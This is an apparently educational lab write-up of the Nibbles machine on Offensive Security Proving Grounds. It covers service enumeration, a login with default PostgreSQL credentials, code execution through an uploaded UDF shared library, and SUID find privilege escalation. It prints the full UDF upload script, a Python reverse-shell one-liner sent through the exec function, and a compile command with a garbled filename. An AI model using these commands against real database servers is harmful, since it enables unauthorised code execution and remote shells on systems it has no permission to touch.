> For the complete documentation index, see [llms.txt](https://pentesting.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.zeyu2001.com/proving-grounds/get-to-work/nibbles.md).

# Nibbles

Writeup for Nibbles from Offensive Security Proving Grounds (PG)

## Nibbles

### Service Enumeration

`nmapAutomator.sh -H 192.168.163.47 -t full`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-Madg8hySriSLTa-cr-k%2F1540aa15138b4fb6b87da0c16f81a23b.png?alt=media\&token=cf3ef468-1c7d-44e8-917e-125b467052fe)

`nmapAutomator.sh -H 192.168.163.47 -t vulns`

* Anonymous FTP not allowed

### Subdirectory Enumeration

`gobuster dir -u http://192.168.163.47/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -k -x .txt,.html --threads 50`

### PostgreSQL

We know the default username is `postgres`. Trying the password `postgres`, we authenticate successfully.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadgC1Hl3GTSmVBZnCg%2Fe98a3452c71040f3891fcbbd9718e443.png?alt=media\&token=b6759ebc-a5c6-4750-b92b-c01b17ad4b47)

Note that we are a privileged account, with the Superuser role.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadgGotZDo3qAby6yv6%2F9de57a70204a45eb823cb8ddb8e8d026.png?alt=media\&token=4afd7392-c829-4d56-92ee-4f3923f780e8)

## Exploitation

Reference: <https://afinepl.medium.com/postgresql-code-execution-udf-revisited-3b08412f47c1>

Compile the shared library:

`gcc lib_postgresqlugcc lib_postgresqludf_sys.c -I server -fPIC -shared -o udf64.so`

Generate the `.psql` payload:

```
xxd -p udf64.so | tee udf.txt
x=0
while read line; do echo "select lo_put(PLACEHOLDER, $x, '\\\x$line');" >> u.psql; x=$((x+30)); done < udf.txt
```

Create and get the ID of the object:

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-Madga7fi3yLYNb6FpSt%2Ff221361282f64e6b9013b8836cd55bd5.png?alt=media\&token=87e59f3a-9e3f-4888-b317-51e233715f60)

Replace PLACEHOLDER in `u.psql` with 16385.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadgcyVJ97TwFWAEsPf%2Fb47d67741d444352b2a7222c58f43ad0.png?alt=media\&token=3a2ad262-8bb4-4c97-85a4-9b9425b5755c)

Deliver the payload: `psql -h 192.168.163.47 -p 5437 -U postgres -d postgres -f u.psql`

`select lo_export(16385, '/tmp/exploit.so');`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadgrvRwCWpjcGQwCxQ%2Fd6134a3d60044c4196eeebec2e0b8166.png?alt=media\&token=f9fcb043-b779-4af3-88f7-1cabd8c90d2d)

`create or replace function exec(char) returns char as '/tmp/exploit.so','sys_eval' language c strict;`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadguPDtorkKcca6K3B%2F99232dceadc64149a730060ed5230aff.png?alt=media\&token=511b45f9-e7c3-4a1d-9f94-5ab617535faf)

At this point we have created a function that allows us to execute arbitrary commands.

Verify Python is installed: `select exec('which python');`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadgxJAUauZxQ4M3-QP%2Face8f49532204b00bbfdf6bcf49d9d09.png?alt=media\&token=07c5acd3-4e6e-4412-a686-8d80d3c4103a)

**Note: the only port that works is port 80.** Since the web application would be communicating with the PostgreSQL service through port 80, port 80 is likely whitelisted.

```
select exec('python -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.163",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")''');
```

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-Madh8QV0r8ZOpaRan_S%2F4d1ba1f89f5a4ae38d82aa3c092c4b71.png?alt=media\&token=51ab8b49-9a18-493d-8027-2d474aa5a5cc)

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadhCJsXru8GmOZlSxm%2F73d3433cdccf4cceb8609fda74080f53.png?alt=media\&token=f3670e80-1e87-4370-a6d2-8f16ef815c5c)

### Privilege Escalation

We can use LinPEAS to enumerate.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-Madhhp77OG8hoNGD7rA%2F014387c27ed84d63ad418bed672c6845.png?alt=media\&token=42ee1533-eb3d-46ee-9b8e-c08dbda50a35)

We see that the `find` binary has the SUID bit set.

Reference: <https://gtfobins.github.io/gtfobins/find/>

We can leverage this to run `/bin/sh` with elevated privileges.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadhpD7Jn6vqqpaw9FF%2F7d5d16d938ef42eba9a1676b91079876.png?alt=media\&token=dabcf5c3-aba1-4052-9e3e-350075888989)

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-Madhrr4jiy95W2bNdap%2F84c7b92b17e04ffb8e525f5f81066c77.png?alt=media\&token=83efe7cf-2be4-407e-a3df-4e2650fcc6bf)